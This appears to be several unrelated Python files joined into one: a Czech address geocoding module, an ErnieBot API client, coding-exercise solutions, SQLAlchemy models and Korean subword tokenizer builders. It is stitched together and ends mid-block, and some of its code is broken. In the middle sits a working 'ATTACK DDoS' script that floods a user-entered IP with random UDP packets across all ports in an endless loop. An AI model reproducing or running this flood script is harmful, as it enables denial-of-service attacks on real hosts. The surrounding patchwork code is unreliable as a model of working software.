#set of functions needed to geocode a dataframe of address
import requests
from bs4 import BeautifulSoup
from IPython.core.debugger import Tracer
import ast
import pandas as pd
import numpy as np
import tqdm

#load api key for ggoogle api
import apicka as api

API = api.api

class geoRUIAN:
    '''
    a class for geocode using RUIAN's API
    '''
    def __init__(self):
        #define the API's link
        self.ruianlink = 'http://ags.cuzk.cz/arcgis/rest/services/RUIAN/Vyhledavaci_sluzba_nad_daty_RUIAN/MapServer/exts/GeocodeSOE/findAddressCandidates'

    def testConnection(self):
        '''
        a method that tests connection to the API
        '''
        try:
            _ = requests.get(self.ruianlink)
            print('Connection was succesfull.')
            return True
        except requests.ConnectionError:
            print("No internet connection available or another issues.")
        return False

    def sendRequest(self,adresaString):
        '''

        '''
        self.adresaString = adresaString
        pars = {'SingleLine':adresaString,
               'outSR':      '',
               'maxLocations': 100,
               'searchExtent': '',
               'f':'html'}

        self.r = requests.get(self.ruianlink, params=pars)
        self.r.encoding = 'utf8'

        self.soup = BeautifulSoup(self.r.text,'lxml')
         #pridat blbuvzdornost

    def parseOutput(self):

        #locate the table
        output_raw = self.soup.findAll('table','formTable')

        #there are two formTables on the page. the second one contains the resuls
        results_raw = output_raw[1]

        #our element is 'pre'
        allResults = results_raw.find('pre')

        #convert the unicode format into something human readible. i.e. a dictionary
        allResultsString = ast.literal_eval(allResults.text)

        #slice only 'candidates' key of the dictionary. The output is a list.
        if allResultsString.get('candidates'):
            self.candidatesAll = allResultsString['candidates']
        else:
            self.candidatesAll = False

    def testAddressOutput(self):
        '''
        The geocoding service might not be able to return the searched address GPS. This method tests whether the API detected the address correctly.
        '''
        #get all 'Type' of the dictionary
        if self.candidatesAll:
            #detect whether at least one of the candidates is 'AdresniMisto'
            self.types = [d['attributes']['Type'] for d in self.candidatesAll]
            if 'AdresniMisto' in self.types:
                self.AdresniMistoFound = True
                return True
            else:
                self.AdresniMistoFound = False
                self.somethingFound    = True
        else:
            self.AdresniMistoFound = False
            self.somethingFound    = False
            self.notFoundAtAll = True

    def selectAddressCandidate(self, method='First', printOutput=True):
        '''
        In some cases RUIAN might return multiple outputs. This method selects one of them.
        method muze byt first nebo centroid
        '''
        if self.AdresniMistoFound:
                #subset only AdresniMista
                AdresniMistoFlag = [ d for d in self.candidatesAll if d['attributes']['Type']=='AdresniMisto' ]

                self.adresniMistaAll = AdresniMistoFlag

                #if htere is only one candidate, we are done. Otherwise sort candidates according to score...
                #in case multiple candidates have the same score, create an average of GPS and create a flag
                if len(self.adresniMistaAll) == 1:
                    matchedAddress = self.adresniMistaAll[0]['address']
                    xMean     = np.mean([self.adresniMistaAll[0]['attributes']['Xmax'],
                                        self.adresniMistaAll[0]['attributes']['Xmin']])

                    yMean     = np.mean([self.adresniMistaAll[0]['attributes']['Ymax'],
                                        self.adresniMistaAll[0]['attributes']['Ymin']])

                    #we create a flag to indicate how certain we are about the returned result
                    flagConfidence = 1

                elif method == 'First':
                    #using this method we select the first offered adresniMisto by RUIAN
                    matchedAddress = self.adresniMistaAll[0]['address']
                    xMean     = np.mean([self.adresniMistaAll[0]['attributes']['Xmax'],
                                        self.adresniMistaAll[0]['attributes']['Xmin']])

                    yMean     = np.mean([self.adresniMistaAll[0]['attributes']['Ymax'],
                                        self.adresniMistaAll[0]['attributes']['Ymin']])

                    #we create a flag to indicate how certain we are about the returned result
                    flagConfidence = 2

                elif method == 'Centroid':
                    #using this method as GOS coordinates we return an average of the given addresses
                    matchedAddress = self.adresniMistaAll[0]['address']
                    xMean     = np.mean([d['attributes']['Xmax'] for d in self.adresniMistaAll] +
                                        [d['attributes']['Xmin'] for d in self.adresniMistaAll])

                    yMean     = np.mean([d['attributes']['Ymax'] for d in self.adresniMistaAll] +
                                        [d['attributes']['Ymin'] for d in self.adresniMistaAll])

                    #we create a flag to indicate how certain we are about the returned result
                    flagConfidence = 3
                    #list of output variables
                    self.geocodedAddress = {'originalAddress':self.adresaString,
                                            'matchedAddress':matchedAddress,
                                            'lon': xMean,
                                            'lat': yMean,
                                            'confidenceFlag': flagConfidence}

                else:
                    print('method is not defined!')

        #create flag if something was return by RUIAN but it is not an address point
        elif self.somethingFound:
            matchedAddress = ''
            xMean = ''
            yMean = ''
            flagConfidence = 4

        else:
            matchedAddress = ''
            xMean = ''
            yMean = ''
            flagConfidence = 5
            #print('address not found.')

        #list of output variables
        self.geocodedAddress = {'originalAddress':self.adresaString,
                                'matchedAddress':matchedAddress,
                                'lon': xMean,
                                'lat': yMean,
                                'confidenceFlag': flagConfidence}

        #optionally print the output
        if printOutput:
            return self.geocodedAddress

        #explanation of flagConfidence
        # 1 - string matched as address, only one result from RUIAN
        # 2 - string matched as address, multiple results from RUIAN
        # 3 - not define
        # 4 - something was found, but it was not defined as address
        # 5 - nothing found at all

    def auto(self, add, method='First',printOutput=True):
        '''
        Simple wrapper for calling all steps in one. if you trust the function, you should use it.
        '''
        self.sendRequest(add)
        self.parseOutput()
        self.testAddressOutput()
        return self.selectAddressCandidate()

#############################################################
# google api
#############################################################
class geoGoogle:
    '''
    a class for geocode using google's API
    Expects a string of an address upon initialization
    '''

    def __init__(self, API):
        self.apiLinkGen  = 'https://maps.googleapis.com/maps/api/geocode/json?address={}'
        self.apikey      = API
        self.apiLink     = 'https://maps.googleapis.com/maps/api/geocode/json?address={}' + '&key={}'.format(API)

        self.testAddress = 'opletalova 26, Nove Mesto'

    def testConnection(self):
        '''
        a method that serves to test the response from the API
        '''
        self.testLink = self.apiLink.format(self.testAddress)
        self.req = requests.get(self.testLink)

        #test wthether success
        if self.req.status_code == 200:
            self.status=True
            #print('Connection successfull')

        else:
            self.status=False
            print('Something happened. Code:' + str(self.req.status_code))

        return self.status

    def geocodeOne(self, address):
        '''
        a method that serves to geocode a single address
        '''
        #check whether connection was made
        stat = self.testConnection()
        if stat == True:

            #call the api
            getRes = self.apiLink.format(address)

            #pull data
            addReq = requests.get(getRes)

            #convert to json if somtehing returned
            self.apiOutput = addReq.json()

            if len(addReq.json()['results']) > 0:
                self.addResult = self.apiOutput['results'][0]
                nOfRes = 999
            else:
                nOfRes = 0

            #test whether some result was returned or not
            if nOfRes ==0:
                output = {
                    "confidenceFlag": 5,
                    "source_address" : address,
                    "formatted_address" : None,
                    "latitude": None,
                    "longitude": None
                    #"google_place_id": None,
                }
            else:
                #GPS coordinates
                lat = self.addResult['geometry']['location']['lat']
                lng = self.addResult['geometry']['location']['lng']

                #formatted address
                formAddress = self.addResult['formatted_address']

                #type of location identified
                typ = self.addResult['types']
                #accuracy
                acc = self.addResult['geometry']['location_type']

                #google place ID
                placeid = self.addResult['place_id']

                #explanation of flagConfidence
                # 1 - string matched as address, only one result from RUIAN
                # 2 - string matched, multiple results from Google, a centroid is returned
                # 3 - not define
                # 4 - something was found, but it was not defined as address
                # 5 - nothing found at all
                tp = self.addResult['geometry']['location_type']
                if tp == 'ROOFTOP':
                    conf = 1
                elif tp == 'RANGE_INTERPOLATED':
                    conf = 2
                elif tp == 'GEOMETRIC_CENTER':
                    conf = 4
                elif tp == 'APPROXIMATE':
                    conf = 5
                else:
                    conf='error'

                #assign determinated values to output list
                output={
                    "confidenceFlag" : conf,
                    "latitude": lat,
                    "longitude": lng,
                    "matchedAddress" : formAddress,
                    "originalAddress" : address,

                    "accuracy": acc,
                    "google_place_id": placeid,
                    "type": typ
                }

                #print crying emoji
                print('right now you have spent 0.01USD :(')

            return output

        else:
            print("A confirmation of connection is not provided. Try to run method testconnection()")

##################################################################################
## join method
class geoJoin:

    def __init__(self):
        #self.srctable_path = "/Users/vojtechnedved/Downloads/adresyAll.csv"
        self.srctable_path = "adresyAllMerge.csv"
        self.srccols = ['obec','castobce','ulice','cp','co', 'psc']

        #load all addresses and convert them to lowercase
        src = pd.read_csv(self.srctable_path).convert_objects(convert_numeric=True)
        self.srctable = src.applymap(lambda s:s.lower() if type(s) == str else s)

        #remap joining columns
        remap = {
            'Název obce' : 'obec',
            'Název části obce' : 'castobce',
            'Název ulice': 'ulice',
            'Číslo domovní': 'cp',
            'Číslo orientační' : 'co',
            'PSČ': 'psc',
            'Souřadnice Y': 'lat',
            'Souřadnice X': 'lng'
        }
        #self.srctable =  self.srctable.rename(columns=remap, index=str)

    def validColumns(self, addr):
        '''
        a support method for finding non-null columns of the address. Is used inside joinOne() method. Required a pandas dataframe.
        '''

        #get index of non-null columns
        ind = addr.notnull()

        ind = ind.values[0]

        #subset those columns
        adSelected = addr.iloc[0, ind]

        #subset columns presented in both dataframes
        adSelected = [ x for x in adSelected.index.values.tolist() if x in self.srccols]

        self.colsMerge =  adSelected

    def joinOne(self, addresa):
        '''
        This method expects a list of one adress containing several attributes. Moreover, you should specify merging columns.
        '''

        #we expect a pandas series as input... then we convert it to pandas dataframe (for joining purposes; not elegant but working)
        #if we are provided with one row dataframe, no transofrmation is needed

        #pandas DF conversion
        self.addresaPD = pd.DataFrame(addresa).transpose()

        #get on what columns we will perform the join
        self.validColumns(self.addresaPD)

        #force conversion to numbers of the address
        self.addresaPD_beforeConversion = self.addresaPD.convert_objects(convert_numeric=True)

        #change joining columns of the input to lowercase
        self.addresaPD = self.addresaPD.applymap(lambda s:s.lower() if type(s) == str else s)

        #join the master address table wiht the current record
        self.joined = pd.merge(self.srctable, self.addresaPD ,on=self.colsMerge, how='inner')

        #check if unique result is returned. If not, input None... we have to geocode it using some of the APIs
        if self.joined.shape[0] > 1:
            self.lat = None
            self.lng = None
            #print('MANYYY')
        #maybe we did not match anything at all
        elif self.joined.shape[0] == 0:
            self.lat = None
            self.lng = None
        #or we have aexactly one result
        else:
            #get longitude and latitude
            self.lat = self.joined['lat'][0]
            self.lng = self.joined['lng'][0]
            #print(self.lat, self.lng)
        return (self.lat, self.lng)

##########################################################################################
## string generator for full address
##########################################################################################

def generateAddressString(pandasSer):
    '''
    Givne a pandas series object containing at least any of ['obec', 'castobce', 'ulice', 'cp', 'co', 'psc'] it returns a string of the address
    '''
    #join cislo popisne and orientacni
    cisla = (str(potentialData['cp']) if potentialData['cp'] else "") + ('/' + str(potentialData['co']) if potentialData['co'] else "")

    #join the rest
    addString = (str(potentialData['ulice']) if potentialData['ulice'] else "") +\
        (' '  + str(cisla) if cisla else "") +\
        (', ' + str(potentialData['castobce']) if potentialData['castobce'] else "") +\
        (', ' + str(potentialData['obec']) if potentialData['obec'] else "") +\
        (', ' + str(potentialData['psc']) if potentialData['psc'] else "")

    return addString

############################################################################################################
## wrapper for geocoding
############################################################################################################
class geoWrapper:
    '''
    this class serves as a wrapper for all geocode approaches. You have to pass a dataframe containing your address into the function with proper column names.
    '''

    def __init__(self, dataFrame, API_KEY_Google=None):
        #initialize geo classes
        self.ruian = geoRUIAN()
        self.join  = geoJoin()

        #check if google Key was provided
        if API_KEY_Google is not None:
            self.ggl = geoGoogle(API_KEY_Google)
            self.gglAPI = True
        else:
            self.gglAPI = False

        #store data
        self.dataFrame = dataFrame

    def runJoin(self):
        '''
        applies joining method for geocode
        '''
        #iterate over the file and assign results
        for i,j in tqdm.tqdm_notebook(self.dataFrame.iterrows()):
            #geocode current row
            # print(j)
            out = self.join.joinOne(j)

            lat = out[0] or np.nan
            lng = out[1] or np.nan

            #print(fileToScore)
            #assign the value to df
            self.dataFrame.loc[i,'latitude'] = lat
            self.dataFrame.loc[i,'longitude'] = lng
            self.dataFrame.loc[i,'methodUsed'] = 'join' if np.isfinite(lat) else -1
            self.dataFrame.loc[i,'confidence'] = 1      if np.isfinite(lat) else -1

    def runRuian(self):
        '''
        A wrapper for calling  RUIANs API
        '''

        #iterate over the file and assign results
        for i,j in tqdm.tqdm_notebook(self.dataFrame.iterrows()):

            #check whether it was not already scored by joinign method
            if j['methodUsed'] is None or j['methodUsed'] == np.nan or j['methodUsed'] == -1:
                #prepare data for call; if data are presented in separated way we have to merge them, Otherwise, use initially provided string
                self.j=j
                potentialData =  j[self.join.srccols]

                #generate address String
                if j['fulladdress']:
                    addString = j['fulladdress']

                else:
                    addString = generateAddressString(potentialData)

                #call RUIAN
                res = self.ruian.auto(addString)

                #assign the value to df
                self.dataFrame.loc[i,'latitude'] = res['lat']
                self.dataFrame.loc[i,'longitude'] = res['lon']
                self.dataFrame.loc[i,'methodUsed'] = 'ruian'
                self.dataFrame.loc[i,'confidence'] = res['confidenceFlag']

    def runGoogle(self):
        '''
        A wrapper for calling Geocode class using google's API
        '''
        #as this service is paid, count non-matched records and estimate price
        nMiss = max(self.dataFrame['latitude'].isna().sum(),self.dataFrame['longitude'].isna().sum())
        estPrice = nMiss*0.1

        #raise a dialog box whether you want to proceed or not
        txt = input("Estimated price of the query is {} USD. Do you wanna proceed? yes/no".format(estPrice))

        if self.gglAPI and txt == 'yes':
        #iterate over the file and assign results
            for i,j in self.dataFrame.iterrows():

                #check whether it was not already scored by joinign method
                if j['methodUsed'] is None or j['methodUsed'] == np.nan or j['methodUsed'] == -1:
                    #prepare data for call; if data are presented in separated way we have to merge them, Otherwise, use initially provided string
                    self.j=j
                    potentialData =  j[self.join.srccols]

                    #generate address String
                    if j['fulladdress']:
                        addString = j['fulladdress']

                    else:
                        addString = generateAddressString(potentialData)

                    #call ggl
                    res = self.ggl.geocodeOne(addString)

                    #assign the value to df
                    self.dataFrame.loc[i,'latitude'] = res['latitude']
                    self.dataFrame.loc[i,'longitude'] = res['longitude']
                    self.dataFrame.loc[i,'methodUsed'] = 'google'
                    self.dataFrame.loc[i,'confidence'] = res['confidenceFlag']
        elif txt != 'yes':
            print('you refused to pay. Function stops.')
        else:
            print('google API not provided!')

    def auto(self,ggl=False):
        '''
        A wrapper that runs joining and RUIAN method. optionally also google api.
        '''
        # joining
        self.runJoin()

        #ruian
        self.runRuian()

        #google
        if ggl == True:
            self.runGoogle()


from typing import List, Tuple, Union, Generator
from loguru import logger
import requests
import json
from .base import LLM

class ErnieBot(LLM):
    def __init__(self, api_key, model_name="ernie-bot-turbo") -> None:
        super().__init__()
        self.llm_type = 'erniebot'
        # curl 'https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&client_id=【API Key】&client_secret=【Secret Key】'
        self.api_key = api_key  # api_key is actually access_token get from above curl command
        self.model_name = model_name
        self.api = f"https://aip.baidubce.com/rpc/2.0/ai_custom/v1/wenxinworkshop/chat/eb-instant?access_token={self.api_key}"

    def ask_stream(self, query: str, history: List[Tuple[str]] = [], incremental: bool = False,
                   temperature: float = 0.5, top_p: float = 0.7, presence_penalty: float = 0,
                   frequency_penalty: float = 0, timeout: Tuple[float] | float = (15, 30), **kwargs) -> Generator:
        logger.info(f"erniebot api parameters: temperature={temperature}, top_p={top_p}, presence_penalty={presence_penalty}, frequency_penalty={frequency_penalty}")
        history = [{'user': q, 'bot': a} for q, a in history]
        logger.info(f"erniebot history: {history}, query={query}")
        messages = []
        for q, a in history:
            messages.append({"role": "user", "content": q})
            messages.append({"role": "assistant", "content": a})
        messages.append({"role": "user", "content": query})
        data = {"messages": messages, "stream": True}
        logger.info(f"erniebot final prompt: {data}")
        response = requests.post(self.api, json=data, stream=True, timeout=timeout)
        all_content = ""
        data = b""
        for chunk in response:
            for line in chunk.splitlines(True):
                data += line
                if data.endswith((b"\r\r", b"\n\n", b"\r\n\r\n")):
                    line_str = data.decode()
                    json_str = line_str[6:]
                    json_data = json.loads(json_str)
                    text = json_data["result"]
                    if incremental:
                        yield text
                    else:
                        all_content += text
                        yield all_content
                    data = b""
        if data:
            line_str = data.decode()
            json_str = line_str[6:]
            json_data = json.loads(json_str)
            text = json_data["result"]
            if incremental:
                yield text
            else:
                all_content += text
                yield all_content

    def ask(self, query: str, history: List[Tuple[str]] = [],
            temperature: float = 0.5, top_p: float = 0.7, presence_penalty: float = 0,
            frequency_penalty: float = 0, timeout: Tuple[float] | float = (15, 30), **kwargs) -> str:
        logger.info(f"erniebot api parameters: temperature={temperature}, top_p={top_p}, presence_penalty={presence_penalty}, frequency_penalty={frequency_penalty}")
        history = [{'user': q, 'bot': a} for q, a in history]
        logger.info(f"erniebot history: {history}, query={query}")
        messages = []
        for q, a in history:
            messages.append({"role": "user", "content": q})
            messages.append({"role": "assistant", "content": a})
        messages.append({"role": "user", "content": query})
        data = {"messages": messages, "stream": False}
        logger.info(f"erniebot final prompt: {data}")
        response = requests.post(self.api, json=data, timeout=timeout)
        json_data = response.json()
        text = json_data["result"]
        return text

    @classmethod
    def config_info(cls) -> str:
        info = """
        erniebot config info:
        api_key: None (required)
        model_name: ernie-bot-turbo
        """
        return info

    @classmethod
    def check_config(cls, **kwargs)->bool:
        if kwargs.get("api_key", None) is None:
            return False
        return True


"""
描述
请设计一个函数，用来判断在一个n乘m的矩阵中是否存在一条包含某长度为len的字符串所有字符的路径。
路径可以从矩阵中的任意一个格子开始，每一步可以在矩阵中向左，向右，向上，向下移动一个格子。
如果一条路径经过了矩阵中的某一个格子，则该路径不能再进入该格子。

  矩阵中包含一条字符串"bcced"的路径，但是矩阵中不包含"abcb"路径，因为字符串的第一个字符b占据了矩阵中的第一行第二个格子之后，路径不能再次进入该格子。
数据范围：0 \le n,m \le 20\0≤n,m≤20 ,1\le len \le 25\1≤len≤25
"""

class Solution:
    def hasPath(self , matrix: List[List[str]], word: str) -> bool:
        # write code here
        if len(matrix) == 0:
          return False
        n = len(matrix)
        m = len(matrix[0])
        #初始化flag矩阵记录是否走过
        flag = [[False for i in range (m)] for j in range(n)]
        #遍历矩阵找起点
        for i in range(n):
          for j in range(m):
            #通过dfs找到路径
            if self.dfs(matrix, n, m, i, j, word, 0, flag):
              return True
        return False

    def dfs(self, matrix: List[List[str]], n: int, m: int, i: int, j: int, word: str, k: int, flag: List[List[bool]]) -> bool:
          if i < 0 or i >= n or j < 0 or j >= m or (matrix[i][j] != word[k]) or flag[i][j]:
              #下标越界、字符不匹配、已经遍历过不能重复
              return False
          #k为记录当前第几个字符
          if k == len(word) - 1:
              return True
          flag[i][j] = True
          #该结点任意方向可行就可
          if (self.dfs(matrix, n, m, i - 1, j, word, k + 1, flag)
              or self.dfs(matrix, n, m, i + 1, j, word, k + 1, flag)
              or self.dfs(matrix, n, m, i, j - 1, word, k + 1, flag)
              or self.dfs(matrix, n, m, i , j + 1, word, k + 1, flag)):
              return True
          #没找到经过此格的，此格未被占用
          flag[i][j] = False
          return False


#-*- coding: utf-8 -*-
try:
    from time import sleep
    import socket
    import os
    import random
    import sys
except KeyboardInterrupt:
    print("Você escolheu sair, obrigado!")
    sys.exit()

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)

a = "\033[1;31m"
i = "\033[1;36m"
ca = "\033[1;33m"

os.system("clear")

print()
print(a+"""
   A T T A C K  D D o S

Me siga no github https://github.com/GhoooooostDev
➪  Create by:  Ghost.Dev \n\n""")
try:
    ip = input(i+"Digite o IP >: ")
    port = int(input(i+"Porta >: "))
except KeyboardInterrupt:
    print(a+"Você escolheu sair!")
    sys.exit()

print(ca+"[                    ] 0%")
sleep(1)
print(ca+"[#######      ] 25%")
sleep(1)
print(ca+"[###########       ] 50%")
sleep(1)
print(ca+"[##############     ] 75%")
sleep(1)
print(ca+"[##################] 100%")
sleep(3)
sent = 0

while True:
    sock.sendto(bytes, (ip,port))
    sent = sent + 1
    port = port + 1
    print (a+"[•]%s ATACANDO %s PARA CANCELAR ^C %s <<<>>>"%(sent,ip,port))

    if port == 65535:
        port = 1

try:
    print (r+"[•]%s ATACANDO %s PARA CANCELAR ^C %s <<<>>>"%(sent,ip,port))
except KeyboardInterrupt:
    print(r+"Você escolheu sair, obrigado!")
    sys.exit()


from flask import Flask, request,jsonify
import json
import sqlite3

app = Flask(__name__)
app.config['DEBUG'] = True

#Do NOT put functions/statement outside functions

# Show your student ID
@app.route('/mystudentID/', methods=['GET'])
def my_student_id():
    response={"studentID": "12345678G"}
    return jsonify(response), 200, {'Content-Type': 'application/json'}

if __name__ == '__main__':
   app.run()


#Create a string containing an integer, then convert that string into an actual integer object using int().

string_int='20'

int_string=int(string_int)

print(int_string *1000)

#Create a string containing an integer, then convert that string into an actual floating object using int().
float_string=float(string_int)

print(float_string *1000)

#Create a string object and an integer object, then display them sideby-side with a single print statement by using the str() function.

name="Nathaniel"

age=34

print(name + str(age))

first_num=input("First number: ")
second_num=input("Second number: ")

print("The product of " + first_num + " and "  + second_num + " is" + str(int(first_num) * int(second_num)) )


from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy import Column, Integer, String, DateTime
from datetime import datetime

Base = declarative_base()

class Subject(Base):
    __tablename__ = 'Subjects'
    id = Column(Integer, primary_key=True)
    name = Column(String(50), unique=True)
    quantity = Column(Integer)

class Customer(Base):
    __tablename__ = "Customers"
    id = Column(Integer, primary_key=True, index=True)
    name = Column(String(32), nullable=False)
    address = Column(String(32), nullable=False)
    passport_details = Column(String(32), nullable=False, unique=True)
    phone_number = Column(String(32), nullable=False)

class Order(Base):
    __tablename__ = "Orders"
    id = Column(Integer, primary_key=True, index=True)
    customer_id = Column(Integer, nullable=False)
    subject_name = Column(String(50), nullable=False)
    quantity = Column(Integer, nullable=False)
    created_at = Column(DateTime, default=datetime.utcnow)

class Audit(Base):
    __tablename__ = "Audit"
    id = Column(Integer, primary_key=True, index=True)
    username = Column(String(64), nullable=False)
    action = Column(String(64), nullable=False)
    created_at = Column(DateTime, default=datetime.utcnow)


from utils import DoublespaceLineCorpus
from utils import get_process_memory

class DroprateScoreDictionaryBuilder:
    def __init__(self, corpus_fnames, model_fname, min_frequency, subword_max_length, minimum_droprate_score):
        self.min_frequency = min_frequency
        self.subword_max_length = subword_max_length + 1
        self.minimum_droprate_score = minimum_droprate_score
        self.words = {}
        self.train(corpus_fnames, model_fname)

    def train(self, corpus_fnames, model_fname):
        for n_corpus, fname in enumerate(corpus_fnames):
            corpus_index = fname.split('/')[-1].split('.')[0]
            corpus = DoublespaceLineCorpus(fname, iter_sent=False)

            L = self._subword_counting(corpus)
            droprate_scores = self._word_scoring(L)
            for word, score in droprate_scores.items():
                if score < self.minimum_droprate_score:
                    continue
                self.words[word] = max(self.words.get(word, 0), score)
            args = (n_corpus+1, len(corpus_fnames), len(self.words), '%.3f'%get_process_memory())
            print('\r  - updating vocabularies {} / {} corpus, n_vocab={}, mem = {} Gb'.format(*args))
        self._save(model_fname)

    def _subword_counting(self, corpus):
        L = {}
        for n_doc, doc in enumerate(corpus):
            for word in doc.split():
                for e in range(1, min(self.subword_max_length, len(word))+1):
                    subword = word[:e]
                    L[subword] = L.get(subword, 0) + 1
            if n_doc % 1000 == 999:
                print('\r  - scanning ... {} docs'.format(n_doc+1), flush=True, end='')
        return L

    def _word_scoring(self, L):
        droprate_scores = {}
        for l, count in sorted(L.items(), key=lambda x:len(x[0])):
            if len(l) < 3 or count < self.min_frequency:
                continue
            l_sub = l[:-1]
            droprate = count / L[l_sub]
            droprate_scores[l_sub] = max(droprate_scores.get(l_sub, 0), droprate)
        droprate_scores = {word:1-score for word, score in droprate_scores.items() if len(word) > 1}
        return droprate_scores

    def _save(self, model_fname):
        import os
        folder = '/'.join(model_fname.split('/')[:-1])
        if folder and not os.path.exists(folder):
            os.makedirs(folder)
        with open(model_fname, 'w', encoding='utf-8') as f:
            for word, score in sorted(self.words.items()):
                f.write('{}\t{}\n'.format(word, score))

class BranchingEntropyDictionaryBuilder:
    def __init__(self, corpus_fnames, model_fname, min_frequency, subword_max_length, minimum_branching_entropy):
        self.min_frequency = min_frequency
        self.subword_max_length = subword_max_length + 1
        self.minimum_branching_entropy = minimum_branching_entropy
        self.words = {}
        self.train(corpus_fnames, model_fname)

    def train(self, corpus_fnames, model_fname):
        for n_corpus, fname in enumerate(corpus_fnames):
            corpus_index = fname.split('/')[-1].split('.')[0]
            corpus = DoublespaceLineCorpus(fname, iter_sent=False)

            L = self._subword_counting(corpus)
            entropy = self._word_scoring(L)
            for word, score in entropy.items():
                if score < self.minimum_branching_entropy:
                    continue
                self.words[word] = max(self.words.get(word, 0), score)
            args = (n_corpus+1, len(corpus_fnames), len(self.words), '%.3f'%get_process_memory())
            print('\r  - updating vocabularies {} / {} corpus, n_vocab={}, mem = {} Gb'.format(*args))
        self._save(model_fname)

    def _subword_counting(self, corpus):
        L = {}
        for n_doc, doc in enumerate(corpus):
            for word in doc.split():
                for e in range(1, min(self.subword_max_length, len(word))+1):
                    subword = word[:e]
                    L[subword] = L.get(subword, 0) + 1
            if n_doc % 1000 == 999:
                print('\r  - scanning ... {} docs'.format(n_doc+1), flush=True, end='')
        return L

    def _word_scoring(self, L):
        from math import log
        from collections import defaultdict
        by_length = defaultdict(lambda: [])
        for l in L:
            n = len(l)
            if len(l) < 3: continue
            by_length[n].append(l)

        entropy = {}
        for length, words in by_length.items():
            root_to_branch = defaultdict(lambda: [])
            for word in words:
                root = word[:-1]
                if L[root] < self.min_frequency:
                    continue
                root_to_branch[root].append(L[word])
            for root, counts in root_to_branch.items():
                sum_ = sum(counts)
                probs = [c / sum_ for c in counts]
                probs = [log(p) for p in probs]
                entropy[root] = -sum(probs)
        return entropy

    def _save(self, model_fname):
        import os
        folder = '/'.join(model_fname.split('/')[:-1])
        if folder and not os.path.exists(folder):
            os.makedirs(folder)
        with open(model_fname, 'w', encoding='utf-8') as f:
            for word, score in sorted(self.words.items()):
                f.write('{}\t{}\n'.format(word, score))

class WordPieceModelBuilder:
    def __init__(self, corpus_fnames, subword_max_length, model_fname, num_units=1000):
        self.num_units = num_units if num_units > 0 else 1000
        self.subword_max_length = subword_max_length
        self.units = {}
        self.max_length = 0
        class Sentence:
            def __init__(self, corpus_fnames):
                self.corpus_fnames = corpus_fnames
            def __iter__(self):
                for i, fname in enumerate(self.corpus_fnames):
                    with open(fname, encoding='utf-8') as f:
                        for j, doc in enumerate(f):
                            if j % 100 == 99:
                                print('\r  iterating {} / {} corpus, {} docs ...'.format(i+1, len(self.corpus_fnames), j+1), flush=True, end='')
                            sents = doc.split('  ')
                            if not sents:continue
                            for sent in sents:
                                yield sent.strip()
                    print('\r  iterated {} / {} corpus, mem = {} Gb'.format(i+1, len(self.corpus_fnames), '%.3f'%get_process_memory()), flush=True)
        self._train(Sentence(corpus_fnames))
        self._save(model_fname)

    def _train(self, sents):
        def to_subwords(s):
            s = s[:self.subword_max_length]
            s = s.replace('_', '') + '_'
            n = len(s)
            return (s[b:b+r] for b in range(n) for r in range(1, n+1) if b+r <= n)

        def counting(sents):
            from collections import Counter
            return Counter((subword for sent in sents for eojeol in sent.split() for subword in to_subwords(eojeol) if eojeol))

        counter = counting(sents)
        a_syllables = {subword:freq for subword, freq in counter.items() if len(subword) == 1}
        self.units = dict(
            sorted(
                filter(lambda x:len(x[0]) > 1, counter.items()),
                key=lambda x:(-x[1], -len(x[0]), x[0]))
            [:max(0, self.num_units - len(a_syllables))]
        )
        self.units.update(a_syllables)
        self.max_length = max((len(w) for w in self.units))

    def _save(self, fname):
        with open(fname, 'w', encoding='utf-8') as f:
            f.write('num_units={}\n'.format(self.num_units))
            f.write('max_length={}\n'.format(self.max_length))
            for unit, frequency in sorted(self.units.items(), key=lambda x:(-x[1], -len(x[0]))):
                f.write('{}\t{}\n'.format(unit, frequency))

class SubwordMatchTokenizer:
    def __init__(self, dictionary_file):
        self.dictionary = self._load(dictionary_file)
        self._max_len = max((len(word) for word in self.dictionary))

    def get_words(self):
        return sorted(self.dictionary)

    def _load(self, fname):
        with open(fname, encoding='utf-8') as f:
            words = dict((word.split('\t') for word in f))
            words = {word:float(score) for word, score in words.items()}
            return words

    def tokenize(self, sent):
        def _tokenize(token):
            words = [token[:e] for e in range(2, min(len(token), self._max_len)+1)]
            words = [word for word in words if word in self.dictionary]
            return words

        words = []
        for token in sent.split():
            words += _tokenize(token)
        return words

class WordPieceModelTokenizer:
    def __init__(self, dictionary_file, subword_max_length):
        self._load(dictionary_file)
        self.subword_max_length = subword_max_length

    def get_words(self):
        return sorted(self.units)

    def _load(self, fname):
        with open(fname, encoding='utf-8') as f:
            try:
                self.num_units = int(next(f).strip().split('=')[1])
                self.max_length = int(next(f).strip().split('=')[1])
            except Exception as e:
                print(e)

            self.units = {}
            for row in f:
                try:
                    unit, frequency = row.strip().split('\t')
                    self.units[unit] = int(frequency)
                except Exception as e:
                    print('BPE load exception: {}'.format(str(e)))
                    break

    def tokenize(self, sent):
        words = []
        for token in sent.split():
            words += self._tokenize(token)
        return words

    def _tokenize(self, w):
        def initialize(w):
            w = w[:self.subword_max_length]
            w += '_'
            subwords = []
            n = len(w)
            for b in range(n):
                for e in range(b+1, min(n, b+self.max_length)+1):
                    subword = w[b:e]
                    if not subword in self.units:
                        continue
                    subwords.append((subword, b, e, e-b))
            return subwords

        def longest_match(subwords):
            matched = []
            subwords = sorted(subwords, key=lambda x:(-x[3], x[1]))
            while subwords:
                s, b, e, l = subwords.pop(0) # str, begin, end, length
                matched.append((s, b, e, l))
                removals = []
                for i, (_, b_, e_, _) in enumerate(subwords):
                    if (b_ < e and b < e_) or (b_ < e and e_ > b):
                        removals.append(i)
                for i in reversed(removals):
                    del subwords[i]
            return sorted(matched, key=lambda x:x[1])

        subwords = initialize(w)
        subwords = longest_match(subwords)
        subwords = [s for s, _, _, _ in subwords]
        return subwords


test_case = int(input())

board = []
white = []
temp = []

for _ in range(1, test_case+1):
    a,b = map(int, (input().split()))
    white.append([a,b])

white.sort()

for _ in range(1,6):
    temp.append(0)
    board.append(temp)

# for i in white:
#     print(i)
#     board[i[0]-1][i[1]-1] = 1
board[0][0]=1
print(board[0])
print("--")
print(board[0][1])
print("--")
print(board)


import pickle
import spacy
import pandas as pd
import pathlib
from pathlib import Path
from spacy.tokens import Doc, Token
import torch
nlp = spacy.load('en')

# def parse_label(label_path:str):
#     labels = []
#     f = Path(label_path)
#     if not f.exists():
#         return labels
#     for line in open(label_path):
#         parts = line.strip().split('\t')
